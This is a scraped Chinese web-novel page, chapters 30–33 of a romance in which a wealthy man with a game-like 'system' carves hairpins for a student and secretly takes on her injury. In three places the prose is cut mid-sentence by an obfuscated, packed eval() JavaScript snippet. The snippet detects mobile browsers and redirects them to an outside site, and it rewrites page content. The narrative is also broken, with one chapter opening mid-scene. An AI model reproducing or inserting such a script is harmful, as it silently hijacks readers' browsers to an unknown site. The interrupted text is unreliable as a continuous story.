“你……给别人做过东西吗?” 傅延青:“你是第一个。” 30. Round 2 第二天周末,江知意早起洗漱完,又拿起那支木簪细看。 非常漂亮的木簪,颜色板正,材质高级。 她拿着簪子侧过身,对着镜子试盘了几下,见效果不错,她微微一笑,将木簪收回盒中。 一旁的舍友见状好奇道:“怎么收起来了?不是挺好看的吗?”她咬着苹果走过来,“这是你新买的簪子?” “不是,朋友送的礼物,我想留着收藏。”江知意回答。 “这么爱惜?看来你朋友对你挺重要。”舍友“咦”了一声问,“我能看看这个簪子吗?” 江知意点头,将木盒打开递到她面前:“小心一点。” 舍友俯身,仔细端详一番才小心拿起。 三百六十度无死角看过一遍后她说:“是手工品啊,难怪你那么小心。” “你能看出来?”江知意意外。 “当然。”舍友回答,“我以前是玩汉服的,为了省钱就会自己做一些小首饰小制品。”她称赞,“你朋友虽然是新手,但做得还挺好的。” 她看向簪子的尾部:“尤其这个小凹槽,很难刻的,一不小心就会划到手,你朋友没学几天,战况应该很惨烈吧?他的手怎么样了?” 手怎么样了? 脑子里闪过他的黑色皮手套,江知意一怔,忽然明白了什么。 对啊,傅延青从来不戴手套的,他昨天戴是因为…… 想到那双手套下面可能是一手斑驳的伤痕,她的心一紧,几乎克制不住自己的冲动,收好簪子抓起书包就往外跑。 “你去哪儿?”舍友在身后问。 “有急事,中午我不回来了。” 顾不上给傅延青发消息,江知意一路直奔公交车站。 去公司的路她记得,原本她想吃完早饭临近中午再去,可现在,她等不及了。 她想立刻见到他,想立刻问问手套是怎么回事? 手套下是不是真的一手伤痕? 很快,公交车摇摇晃晃地开了,江知意坐在窗边,心神不宁,坐立不安。 窗外的景飞速掠过,她握紧书包带子,只想着快一点,再快一点。 一小时后,江知意背着书包推开了公司大楼侧边的玻璃门。 大厅的前台工作人员换了一批人值班,他们见到她格格不入的学生气打扮,迎上来问:“您好女士,请问有什么可以帮您?” 江知意:“我找傅延青。” 她直呼傅延青的名字,前台工作人员神色诧异,但还是保持着礼貌继续问:“请问您有预约吗?” 江知意摇头。 “不好意思,傅总不见没有预约的人,您下次找他可以预约后再过来。”她说着做了个“请回”的手势,微笑道,“我送您出去。” 江知意抿紧唇,还要再说,身后忽然响起助理的声音:“江小姐?” 他手里拿着一个文件夹走过来:“您来找傅总吗?正好我要上去给傅总送文件,带您一起吧。” “可她……”前台插话,被助理用一个眼神轻轻制止,他说,“这里不用你们操心了,你们去忙吧。” 前台欲言又止地看一眼她,转身离去。 助理看回她,微笑道:“您跟我来。” 江知意点头。 等进了电梯四下无人的时候,江知意问:“他的手怎么样了?” “好些了。”助理不疑有他,“按时用药的话下周就能好。” 他如此自然地接话,显然是默认傅延青手上有伤的事。 看来是真的…… 傅延青之所以突兀地戴手套来见她,是因为他手上有伤。 而他不想让她知道他的伤。 明明一年前他还指着一脸的伤让她管管他的。 * “傅总。”助理在门外敲门,“江小姐来了。” 傅延青手上一顿,以为自己漏了江知意的什么消息,下意识打开微信。 结果对话框空空如也,并没有他想的红色未读数字。 这样不打招呼就过来,好像是头一次? 他蹙了下眉,拉开抽屉取出手套戴上,这才淡淡道:“进。” 江知意进来后,看到的便是这样一幅光景。 男人坐在办公桌后,一身黑色高定西装,而办公桌上的那双手——同昨天一样,戴了一双黑色皮质手套。 黑色本就是深沉压抑的颜色,男人一身黑地坐在那里,只是轻轻抬眼,就自带一股生人勿近的压迫感。 “过来怎么不提前说一声?”傅延青开口。 助理自觉关门退出。 等办公室只剩他们两人,江知意抿了下唇,鼓足勇气,大步上前,看着他道:“手给我。” 傅延青:“?” 他皱眉,不解看她,没有伸手。 江知意没有解释,直接上手,握住他的左手将他的手套扒了下来。 手套下露出一只伤痕累累的手。 细小的刀口密密麻麻分布在手指皮肤上,她呼吸一窒,竟连触摸都不敢了。 来之前再怎么想象,都不如亲眼所见有冲击力。 这么多,他疼吗? 怎么不告诉她? 傅延青没想到她胆子这么大,同她一起安静几秒,慢悠悠笑道:“你现在倒是不怕我了。” 在这里,即便是贺凌舟也不敢直接上手扒他的手套。 可是江知意敢。 她好像对他亲近了不少。 江知意没接话,又去脱他另一只手套,下面果然也是一只伤痕累累的手。 她不相信傅延青笨到只刻一支簪子就弄出这么多伤,唯一的解,就是他刻了很多支,然后挑了最好的那支当她的生日礼物。 “你刻了多少支?”她问。 男人微微意外,随即了然笑道:“六支。” 从问完贺凌舟那天起,一天一支,一共刻了六支。 “剩下五支呢?” “家里,怎么?” “可以送给我吗?” 傅延青终于怔住。 “什么意思?”他哑声。 “刻这么多,都是为了我吧,既然是为了我,可以都送给我吗?”少女注视着他,眸中情绪异样,“我会好好珍惜的。” “……要那么多簪子做什么?” “用,收藏。”江知意说,“我有复数癖,喜欢什么就想要很多很多复数,我喜欢你的礼物,既然你还有,可以都送给我吗?” 傅延青从未听过“复数癖”这种东西,不由重复:“很多很多复数?” “嗯。”她解释,“只有一个我舍不得用,万一丢了或者坏了,我就再也没有了。” 他无意识地收紧手指,心脏好像在看不见的地方轻轻抽痛了一下。 ——“万一丢了或者坏了,我就再也没有了。” 这样轻描淡写的一句话,为什么会让他心里发涩,不可抑制地产生想要保护她、想要给她一切的冲动? 不会的。 她不会没有的。 只要她想要,只要她开口,他都会给她的。 不论什么。 “……你想要的话,我带你回家拿。”他说。 少女眼中的异样越来越重,她低头,看向他的手道:“为什么不告诉我?” 傅延青也随之看向自己的手:“我不喜欢卖惨。” 以卖惨为手段,是无能的表现;靠示弱才能得到的东西,他不需要。 上位者,就是要忍,要冷静,要理智,要时刻保持情绪不能失控。 否则身边群狼环伺,一旦露出弱点,他们只会将你吃得骨头都不剩。 “那你去年脸上受了伤,怎么就肯让我知道?”江知意反问。 傅延青:“……” 有时候他都忘了她有多伶牙俐齿了。 去年肯让她知道,是因为他需要她记住他做了什么,不是卖惨也不是示弱,是他需要他的付出有所回报。 今年不肯让她知道,是因为他不需要了。 不需要她的愧疚心,也不需要她的回报,他只想出于纯粹的本心,送她生日礼物,祝她生日快乐。 但这些,他不能告诉她。 男人不答,江知意也没再追问,她转而问起另一个问题。 “疼吗?” “只是小伤。” 他语气平淡,半分在乎的意思都没有,像是这种小事根本不值得入他的眼。 可对江知意来说,他是因为她才落得这一手伤的,他可以轻轻松松不放在心上,她不行。 “有药吗?”江知意问,“我可以帮你上药。” 傅延青一顿,慢悠悠抬头看她,轻笑:“你今天找我,是为了这个?” 四目相对,阳光落入他眼中,男人的眉眼异常柔和,似心情都变好了。 “……算是一半。” “那另一半呢?” “……想问你今天还有没有会。” “巧。”傅延青点头,“下午就有一个。想来念资料?” 江知意点头。 “好,下午我带你去。”他说罢反问,“那现在,我带你回家?” “回家取簪子?不用这么急吧,等你开完会再……” 话未说完,傅延青朝她摊开了右手。 掌心朝上,手指分开,言外之意再明显不过。 他要她帮他上药。 江知意的话断在口中,她改口:“好吧。” 傅延青弯唇。 他拉开抽屉取了一颗柠檬糖给她:“柠檬糖,你喜欢的味道,就当你的辛苦费。” 他既没说“辛苦了”也没说“谢谢”,只用她喜欢的柠檬糖当辛苦费,江知意不由被他逗笑。 开玩笑,且不说她抹药不需要辛苦费,就算是要,一颗柠檬糖怎么够?打发叫花子呢? 可他越是这样,江知意越有种他们的关系在一步步递进的感觉。 朋友之间,不就是这样吗? 不用事事计较,不用事事分那么清,还能开得起玩笑。 她笑着接过柠檬糖,同样以开玩笑的方式回应:“一颗怎么够?下次要两颗。” 言语之间,颇有得寸进尺的意味。 这句话说完,不知道是不是她的错觉,男人看着她好像怔了一下,某种情绪在眼中一闪而逝,接着他点头,轻声应道:“嗯,两颗。” * 回家的路上,傅延青难得没有自己开车。 他将车交给司机,和她并排坐在后座,闭目养神了一路。 江知意余光看到他闭眼,想着一会儿要去的地方,开始紧张。 傅延青的家会是什么样的呢? 她猜他的家应该很大,应该有很多房间,应该装修得极有质感,一会儿到家,她要不要主动换鞋?如果换鞋,又该换哪双? 就这样紧张了一路,等傅延青打开门,她向里望去,发现果然和她想得差不多。 入目是低饱和的黑白灰,家具不多,留白得恰到好处。 她一眼望不到尽头,更不知每个房间是干什么用的,无从下脚,只能由傅延青领着走进去。 “要换鞋吗?”她问。 “不用,家里有人打扫。” 从玄关出来,穿过走廊,来到客厅。 第一眼仍是极简的黑白灰色系,但较之玄关又更丰富和更有层次性。 客厅的左墙壁挂了一幅画,再往前,尽头偏右,是一排唱片柜和一套黑胶设备。 画作和音乐都是烧钱的东西,江知意家庭条件一般,很少接触这种东西,是以看到的第一眼,她就被吸引了。 她看看左边墙壁,又看看右边的唱片柜,最终选择先看画。 她停下,傅延青也跟着停下,没有催促,只问她:“会看吗?” “不会。”江知意老老实实回答。 中学时代的音乐美术课本就寥寥无几,还经常被主科老师借走,一年到头上不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944441|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几节课,学到的知识自然就有限。 他们大部分的时间都用来备战高考,就算有兴趣,也没有钱和精力去培养。 江知意就是如此。 她不懂这些,但她有兴趣拓宽自己的眼界,增长自己的见识。 世界之大无奇不有,这辈子总要多见见多看看,才算不枉此生。 譬如眼前这幅画。 整幅画的色彩类似于铅笔灰,远看像起伏的海面,蕴含了水面的波动和光影的投射,动态感处理得十分出色,但近看却发现,画的线条像一团团毛线拼接而成,没有色块,没有阴影,仅靠线条的交汇和缠绕就作出了动态感。 江知意被远看和近看两种截然不同的观感震住,一时没有出声。 “这幅画,你觉得怎么样?”傅延青问。 “很好。” “好在哪里?” 江知意想了想:“线条的动态感很好。” “不是。” 竟然不是? 她微微惊讶:“那你说好在哪里?” “这是油画。”傅延青侧目看她一眼,解释,“作画的人用油画画出了素描的感觉。” 她微怔,上前又细看,果真看到了油画的笔触。 原来如此,这幅画真正出色的不在于远近两种观感,而在于技术层面。 如果这是素描画,那它只能泯然众人;但这是油画,艺术价值便立刻上升了几个度。 她看了又看,仿佛看到了一个从未见过的奇妙世界,不由问道:“一幅画要怎样看,才能知道它好不好?” “太宽泛了,举个例子。” “比如……”江知意道,“毕加索的画,人们为什么觉得好,好在哪里?” 谈及画作,毕加索就是绕不开的话题。 她曾在美术书上见过一些毕加索的画,彼时年少,她看不懂他的画,只觉得十分抽象。 傅延青静静看着眼前的画,回答:“好在画作表现力的革新,好在背后无限的解读性。” “结合时代背景和他个人的背景,可以多角度去解读他画背后的意义。比如在那些抽象画之前,他的作品都是写实,基本功已经达到顶尖水平,是什么让他改变了画法?” “比如他的画用各种符号和色块来区分人体和物品的部位,但你又能一眼看出他画的什么,这种由抽象符号到具象事物的联想,在当时本身就是一种革新和突破。” 简单几句话却让江知意有醍醐灌顶的感觉。 她凝神思考:“所以优秀的艺术作品,都是能给社会带来突破和革新的,都是能让人有无限解读空间的?” 傅延青点头:“音乐,文学,也是一个道理。第一次总是不合时宜的,或许最初诞世的时候,没有多少人认可它们,但慢慢地,时间会告诉人们答案。” 见她似懂非懂,他又举例:“比如马塞尔的《下楼梯的裸女》,他在二维的平面上不仅表现了三维的空间感,还表现了四维的时间感。画面上女人移动的几个瞬间,会自然而然带给观赏者一种时间的流逝感。” 所以用二维表现四维,就是一种画作表现力的革新,《下楼梯的裸女》也因此被称为顶级画作。 江知意眨眨眼睛,终于懂了。 她若有所思,又看了片刻,走向唱片柜。 柜子里整整齐齐摆放了一排又一排的黑胶,每张都被拆开过。 所以这里的每一张唱片他都听过?江知意忍不住想。 唱片做好了分类,从古典到爵士,从爵士到摇滚,几乎每类他都有涉猎。 “这些唱片类型区别这么大,你都喜欢听?”江知意问。 “或多或少听过一些。” 傅延青走到她身边,随手翻了翻黑胶:“不过严格来说,这些类型都是一步步衍生出来的,古典衍生爵士,爵士衍生摇滚,在承接衍生变化的一些曲子里,区别并没有你想的那么大。你感兴趣的话,可以给你听一小段。” 江知意赶紧点头。 傅延青熟练地从柜子里取出两张黑胶,先放了爵士,后放了摇滚。 音乐响起,江知意凝神细听。 片刻后他抬起唱针,问她:“听出来了吗?它们的节奏。” 江知意点头。 这两首的节奏型还真的有点像,而且这首早期摇滚的感觉也与她印象中的摇滚相去甚远。 她再一次感叹起自己的见识浅薄。 “能听出来就是有悟性了。”傅延青淡淡一笑,将唱片收好,“之后你如果还有感兴趣,下次画展和音乐会我带你一起。” 江知意愣了下:“真的吗?” “真的。”他说着又将手伸向她,“但现在,你是不是忘了点什么?” 说好的帮他抹药呢? 江知意看向他的手,后知后觉想起正事,一时羞愧,赶紧道:“药在哪儿,我去拿。” * 下午有个会要和傅延青一起,贺凌舟吃过午饭,自来熟地敲响了傅延青家的门。 几下之后门打开,露出了一张年轻女孩的脸。 贺凌舟的手僵在半空中,目瞪口呆。 这是谁? 傅延青的家里怎么会有陌生女人? 他后退一步看了看周围,没错啊,就是这里啊,可是开门的人? “要么进来要么出去,别让门一直敞着。”傅延青的声音从里面传来,贺凌舟这才确信自己没走错。 他走进去,看到傅延青坐在沙发上,正抬眼凉飕飕地看他。 开门的女孩关好门,从他身边走过,拿起茶几的药膏,毫不避嫌地在傅延青身边坐下,接着捧起傅延青的手,小心翼翼地给他上药。 她低着头,模样专注又认真,一旁的傅延青神色自若,任由她碰来碰去,半分不悦与不耐都没有。 贺凌舟:? 贺凌舟:??? 他是瞎了还是在做梦? 这还是那个有洁癖不喜欢别人碰他的傅延青吗? 31. Round 2 贺凌舟闭眼,深呼吸,睁眼。 还是女孩给傅延青上药的画面。 他再闭眼,深呼吸,再睁眼。 还是一样。 贺凌舟:……草,所以他没做梦,他也没瞎,这一切都是真的? 江知意余光看到贺凌舟反复闭眼睁眼,不由奇怪,问傅延青道:“他怎么了?” 傅延青看她一眼,抬头对贺凌舟道:“她问你呢,你怎么了?” 贺凌舟:“……刚才眼睛进沙子了。” 他走过来看到傅延青手上的伤,接着看了眼江知意,忽然顿悟了。 这个女孩该不会就是傅延青口中那个十九岁的、喜欢的人吧? 原来傅延青喜欢这样的? 漂亮是漂亮,就是不知道傅延青在哪儿认识的? 没听他说起过啊? 贺凌舟若有所思地坐在一旁,盯着两人上药的画面,感慨傅延青运气是真好。 做个手工受点伤就能让喜欢的人帮他上药,而他呢? 用心做的东西只会被对方丢在家里慢慢遗忘,最后随手转增给别人。 心里的涩意慢慢涌上来,他皱眉压下那股情绪,问傅延青:“三点开会,我们什么时候走?” “马上。”手上的药正好抹完,傅延青抬头看了眼腕表,“我换身衣服就走。” 随着傅延青的离开,客厅只停下贺凌舟和江知意大眼瞪小眼。 “我去倒酒,你喝吗?”贺凌舟象征性地问。 江知意摇头。 “那我就给自己倒了,其他的你随意,等他出来就好。” 江知意点头,见贺凌舟走远去倒酒,她也站起来,绕着傅延青的家参观起来。 房间门有的开有的关,她不敢乱开关着的门,只能站在开门的房间门口略略看一眼。 走到第三个房间,江知意看到了一架钢琴。 浅色阳光从窗外洒进来,通体白色的钢琴置身其中,高贵优雅又干净。 她看得愣住,明明没见过傅延青弹琴的样子,脑子里却自动脑补出他一身黑坐在琴边的样子。 男人手指修长,确实是适合弹琴的底子。 傅延青弹琴……应该很好听吧。 看他刚才谈起音乐就娓娓道来的样子,他应该是懂这些的。 江知意呆了几秒,摇摇头,向下一个房间走去。 最后她来到一个阳台,被眼前所见震在原地。 宽阔的阳台上种满了花,每一盆每一株都像被主人精心打理过的样子,郁郁葱葱,生机勃勃。 阳台门没关,开了半边,江知意走上前,蹲在一盆花旁细看。 桃色花瓣轻展,柔软又娇嫩,粉里透白,好看得不像真的。 她情不自禁低头想看得更清楚一些,身后忽然有人厉声:“别碰!” 江知意吓了一跳,身体一抖没站稳,向后跌坐到地上。 贺凌舟快步走过来,脸色如临大敌,先俯身检查了一遍花,确实花没事才转过来,一脸严肃地警告她:“这些花是傅延青的禁忌,不许任何人碰,连我都不行,你……” “贺凌舟。”身后傅延青的声音响起。 他换好了衣服,走过来先将江知意扶起,继而看着贺凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967422|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟冷冷道:“怎么回事。” “你没跟她说不许碰你的花吗?刚才她差点就……” “没说。”傅延青淡声打断,“她可以碰,没必要说。” 贺凌舟:? 今天真是见鬼了,傅延青跟被夺舍了一样,他竟然说这个女孩可以碰他的花? 虽然是喜欢的人,但这也…… 太恋爱脑了一点? 堂堂傅大总裁喜欢上一个人会是个恋爱脑? 贺凌舟难以置信地愣在原地,傅延青不再看他,低头问起江知意:“有没有事?” 他放低了声音,听起来难得温柔。 江知意整个人还是懵的。 贺凌舟说这些花是傅延青的禁忌,不许任何人碰,可傅延青又说,她可以碰。 她在傅延青这里,竟然这么特殊吗? 江知意反应几秒才摇头:“没事。” “嗯。”确认好她没事,傅延青又看向贺凌舟,“一盆花而已,至于将她吓成这样?摔坏了你负责?” 贺凌舟:“……” 他真的服了! 他无奈摊手:“行,我记住了,以后你的花她可以碰。” 傅延青这才作罢。 眼看时间差不多了,几人下楼坐车准备去公司。 看到江知意也跟上来时,贺凌舟眼皮一跳:“她也去公司?” “嗯。”傅延青拉开车后座的门,用手护着江知意的头让她坐进去,接着抬头看他,“你坐前面。” 贺凌舟:“……” 恋爱脑! 傅延青绝对是个恋爱脑! 32. Round 2 很轻的一声,落入她耳中却无端生出几分温柔的感觉。 她没想到他的第一句话是这个。 江知意抬起头,看到傅延青眸光沉沉地盯着她的伤口。 她摸了下额头,才发现血从创可贴里渗出来了。 “被篮球砸了一下。”江知意不太高兴,“我好好地在路边走,他自己乱扔球。” 扔就算了,偏偏在傅延青生日这天把她砸成这样。 男人没说话,伸手揭开她的创可贴。 想到伤口还在流血,这样子一定很狰狞,江知意抬手想捂,额头却一凉。 他的手指抚在伤口附近,动作很轻,冰冰凉凉,竟神奇地缓解了几分伤口的灼痛。 “应该很疼。”傅延青开口。 江知意的手还停在半空,闻言眉眼低垂下去,有些委屈:“有点。” 如果傅延青问她“疼吗”,她会顺理成章说不疼,反正只是一点小伤,她都习惯说没事了。 可是傅延青说“应该很疼”,她就说不出否认的话。 都出血破皮了,怎么可能不疼呢。 男人眼底多出一点异样情绪,好像心疼,又好像难过,他用指腹帮她擦去血迹,用一种罕见的温柔语气说道:“没事,睡一觉就好了。” 说罢他从车上取出一瓶药给她:“睡前把这个抹在伤口上,醒来就好了。” 江知意接过,看到瓶子上什么标记都没有,不由奇怪:“这是什么药?” “治外伤的,很好用。”傅延青垂眸思考后补充,“记得不要给别人用,我的药不是谁都能用的。” 江知意还是觉得奇怪,但思及上次治肠胃的药,她点头:“好吧,我回去试试。” 趁傅延青重新给她贴创可贴的功夫,她取出蛋糕给他。 方方正正的一块,外面用精致的包装盒和好看的丝带做了装饰,她递给他,有点紧张:“我自己做的,要不要尝尝?” 男人眉心一动,看向蛋糕:“你做的?” 亲手给他做的? “嗯……比不上外面专业蛋糕师傅做的,但我跟一个学姐练了很久,不管怎样,尝尝看吧?”江知意看着他道,“你为了给我刻簪子,手都成那样了,我怎么说也得亲手给你做点什么吧?” 她眨了眨眼,催促:“快尝尝呀。” 傅延青忍不住笑了,点头。 他拆开盒子,用叉子叉下一小块放进嘴里。 “怎么样?”江知意比他还急。 “很好。”傅延青咽下蛋糕,给出评价。 很好?竟然是很好? 上次最贵的蛋糕他都只是说“还不错”的。 她忍不住高兴,放下心来,又从书包里掏出一个小盒子:“还有这个,你的生日礼物。” 傅延青一顿:“还有?” “这么惊讶做什么?”少女好笑看他,“难道你以为一个蛋糕就是全部了?” 傅延青:“……” 他真的这么以为。 江知意当着他的面将盒子打开,露出里面一对银色袖扣:“我想给你买其他的,但那些都太贵了,我买不起,买便宜的又拉低你的档次,看来看去只有这对袖扣还可以,银色百搭又不起眼,他们一般不会注意。” 注意不到,就不会觉得她买的便宜东西拉低他的档次了。 最重要的是,袖扣是一件很适中的社交礼物,既不疏远也不暧昧,对于她和傅延青之间,江知意自认为这很合适。 她看向他的袖子,提议道:“要不要试试?我给你戴。” 傅延青的回答是伸出了手腕。 江知意:“……” 她凑上前低头,取下他本来的袖扣,接着给他戴新的。 第一次给男人戴袖扣,江知意不甚熟练,磕磕绊绊耽误了好一会儿才戴好。 她凝神打量几眼新袖扣,泄气道:“好像没你原来的好看,我还是帮你取……” 仅从色泽上看,这对银色的就没有他原来那对黑色的高级。 “不用。”傅延青打断,收回手道,“挺好看。” 江知意愣了一下才反应过来他的意思,惊讶抬眼:“你喜欢?” “喜欢。” “……” 用心准备的礼物被当事人喜欢,确实是一件很让人开心的事,江知意抿抿唇,悬了一晚上的心终于轻轻落下。 她笑:“太好了,你喜欢就好。” 天黑了,街边的路灯亮起来,为深秋的夜笼上一层温暖的色彩。 所有的礼物都送完,就只剩最后一句话。 “……傅延青。”她叫他的名字,郑重又认真地说,“生日快乐。” 车内没开灯,只有丝丝缕缕的路灯光漏进来。 男人的眉眼在淡淡光影中,显得朦胧又温柔。 “嗯。”他说,“听到了。” “那我就回学校了?明天早上还有课,我还有道作业题要想一下。” “等一下。” “嗯?” “辩论赛时间定了吗,什么时候?” “这周六。”江知意微笑,“你来的话就告诉我,我给你留位置。” 没有任何犹豫,傅延青说:“我来。” “好啊。”她点头,拉开车门,“那我回学校了,你也早点回去吧,路上小心。” 关上车门,她隔着玻璃又和他挥了下手才转身离开。 男人坐在车里,目送少女走远,接着视线移至袖子上的银色袖扣。 很漂亮的颜色。 简约大气,与他的审美如出一辙。 他弯唇。 第一个生日啊。 * 入夜,估算着江知意差不多睡了,傅延青叫醒系统。 “怎么了宿主?”系统问。 “之前你说过,初始积分可以用来进行伤病转移。”他平静道,“现在,我要用。” “转移江知意的伤?”系统一个激灵,感慨傅延青终于出息了。 苦肉计,聪明。 “嗯。” “可以,10积分,但转移前我要提醒宿主一句,这个转移的伤害是会随着攻略次数逐渐累加的。第一次是1:1,第二次是1:2,第三次是1:3,现在宿主处于第二次任务中,也就是说,江知意身上的伤转移过来,宿主会受到双倍的痛苦和伤害……这样,宿主还要转移吗?” “要。”没有丝毫犹豫的一句。 系统:“好的,积分-10,伤害转移中——” 一道白光闪过,殷红的鲜血顺着男人额际缓缓流下。 他伸手抹了一把,看到指尖的血迹,扯了扯唇,轻笑。 还挺痛。 * 江知意醒来发现了一件很神奇的事。 早上迷迷糊糊被闹钟叫醒时,她下意识摸了一把额头,想看看昨天的伤怎么样了,结果摸了半天什么也没摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998136|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到。 额头光洁如初,一点疤痕都没留下。 她猛地坐起,拿起镜子照了又照,才不可思议地相信,她的伤真的一夜之间就好了。 这……傅延青说的睡一觉就好了竟然是真的。 他的药竟然真的这么好用。 还好昨天回来晚,舍友没注意到她的伤,否则她都不知要怎样解释了。 不过话说回来,有这么好用的药,活该傅延青赚那么多钱啊。 江知意小小羡慕了一阵,抽空给傅延青发了消息。 xyz:【好神奇,我的伤真的好了,你的药好好用。】 xyz:【你来看比赛的话,比赛结束我请你吃饭好不好?】 没多久,傅延青回复。 F:【好。】 * 周医生拧眉,看着最近频繁出入这里的男人,好奇问道:“你最近撞邪了吗?” 否则怎么三天两头就给自己弄出点伤? 按理来说,以傅总的行程和傅总出入的场合,他几乎是不可能受伤的。 可是眼下,他顶着额头一道伤得不轻的口子坐在这里,伤口血流不止,看着还有点狰狞。 傅延青面无表情看他一眼,没有回答他的问题,只问:“多久能好?” “止血简单,恢复的话怎么也得一周吧。”周医生回答。 一周。 今天周三,距离周六只有四天了。 来不及。 “想办法帮我遮一下。”傅延青道,“周六我有事。” “行。”周医生爽快答应,“到时候抹点东西,你再把头发放下来一点,差不多就看不出来了。” 就这么简单地和周医生达成了共识。 系统却在此时叫起来:“不对啊宿主,别遮啊,你要给江知意看啊,你要让她知道是你帮了她,是你在替她承担痛苦啊!” 俨然一副恨铁不成钢的样子。 “不用。”傅延青冷冷,“我不需要。” 系统不明白了:“那你大动干戈把伤转移过来干嘛?又浪费积分又刷不了好感。” “……” 沉默半晌,男人开口:“……没听到吗。” “她说疼。” * 额头上的伤不显眼但也没那么容易忽视。 贺凌舟看着他的伤叹气:“你是怎么把自己摔成这样的?” 摔了一跤是他对贺凌舟的解释,贺凌舟不疑有他,关心之余又觉得新鲜。 很难想象傅延青这样一个稳重的人,走路会把自己摔得头破血流。 傅延青不语,倒是弹烟灰的时候,袖子上一个银色的东西引起了贺凌舟的注意。 “这是什么?”贺凌舟凑近去看。 傅延青:“袖扣。” “废话。”贺凌舟想翻白眼,“我意思这是哪儿来的?” 他左看右看,怎么看都觉得这袖扣质量有点堪忧,不像傅延青常戴的那一款。 “设计还行吧,没什么出彩的,但质量好像不太行啊。”贺凌舟回想一番,皱眉,“没听说哪个奢牌最近有出新啊,你买的哪家啊?” “不是买的。”傅延青轻描淡写,“是限量的。” “限量?”贺凌舟嘴角一抽,不知该怀疑袖扣还是怀疑自己,“就这?这也值得限量?” “你懂什么。”傅延青慢悠悠放下烟,眼底浮起隐隐约约的笑意,“这是全球限一。” 33. Round 2 那天下午,傅延青从《21Guns》弹到《BohemianRhapsody》,从《BohemianRhapsody》弹到《Imagine》。 从摇滚弹到爵士,从爵士弹到古典。 等到天色变暗琴键要费力才能看清的时候,江知意才猛然回神。 她腾地一下站起,看着窗外道:“天黑了,很晚了。” 连夕阳都变成了暗红色,下一刻就要融入夜色。 傅延青抬手,房间有片刻的安静。 男人的侧脸被笼上一层阴影,模模糊糊看不清楚,但他定定坐在那里的样子,好像也有种骤然回神、惊讶于时间流逝之快的怔然。 “我送你回去。”傅延青站起来说。 * 车在南门附近缓缓停下。 傅延青跟着她一起下车,靠在车边静静目送她。 江知意走了几步,离车已有一段距离时,忽然回头,鬼使神差地想再看看傅延青。 同一瞬间,男人拉开车门,已然打算上车。 “傅延青。”她忽然道。 傅延青动作停下,朝她的方向望过来,似在用眼神问她“怎么?” 夜色下,男人身后的灯影五光十色,潋滟成一片,漂亮得像电影画面里的柔光滤镜。 而立在正中的那个人,身姿清挺,气质冷然,清晰,深刻,好看得不像真的。 江知意怔了一瞬,竟也不知道自己叫他是为了什么。 她只好笑笑,向他挥了挥手,以作告别。 男人顿了一秒,有样学样,也向她挥了挥手。 幼稚。 江知意忍不住想。 她和他都是。 回宿舍的路上,想到刚才的一幕,江知意后知后觉意识到,傅延青其实算是顶级长相。 长相之外,又有顶级气质相称,二者结合,他确实出众得过分。 奇了,她以前怎么没注意到呢? * 数计院一轮游,但辩论赛还在继续。 江知意喜欢在空旷的地方练主持,偶尔湖边,偶尔操场。 去操场的次数多了,她渐渐发现一个熟悉的面孔。 操场四面都是露天座椅,江知意坐在高处,稍一低头就能看到她——那天辩论赛上管院的二辩,一个叫林岚的女生。 她抱着一把吉他,和她一样在寒风中练习。 大学里学吉他的人其实不少,但大多都是男生,每每有男生抱着吉他在校园里弹唱,都会引来一众路人围观。 但此刻,林岚一个女生抱着吉他坐在那里,却是孤零零的。 有人好奇,无人驻足。 遇见林岚的次数多了,江知意忍不住对她生出好奇心。 终于有一天,她主动走上前。 “嗨。”江知意隔了一个座位坐下。 林岚抬起头。 她的长相算是偏冷酷的那种,不笑的时候会有一种高冷不好接近的感觉。 意外的,林岚对她还有印象,没多想便道:“你是那个主持,江知意。” “你记得我?”江知意微微意外。 “你台风很稳。”林岚说完疑惑道,“找我有事吗?” “没事。只是经常看到你来这里练琴,想坐近一点听听。”江知意微笑,“可以吗?” 林岚歪头,脸上流露出对她的兴趣和好奇:“你懂吉他?” “不太懂,但我听过一些吉他solo,有点兴趣。” “比如?” “《FreeBird》,《StairwaytoHeaven》,《NovemberRain》。” 江知意随意说了几个,林岚眼里流露出欣赏:“都是很著名的曲子,没想到你也听摇滚。” 她的手重新放在吉他弦上,偏头看她:“要不要听我弹?” “好啊。”江知意说着又坐近一点。 吉他声起,看着林岚灵活的双手,江知意发现她的水平比她想象的还高一些。 之前林岚练的都是三和弦的朋克,看不出技巧和水平高低,如今弹起复杂的solo,江知意才知她的指法娴熟。 她撑着下巴听得入神,直到一曲终了,才发现座椅最下方不知何时站了几个男生。 他们抱着足球,时不时朝她们的方向看一眼。 好像在起哄谁来出头要微信。 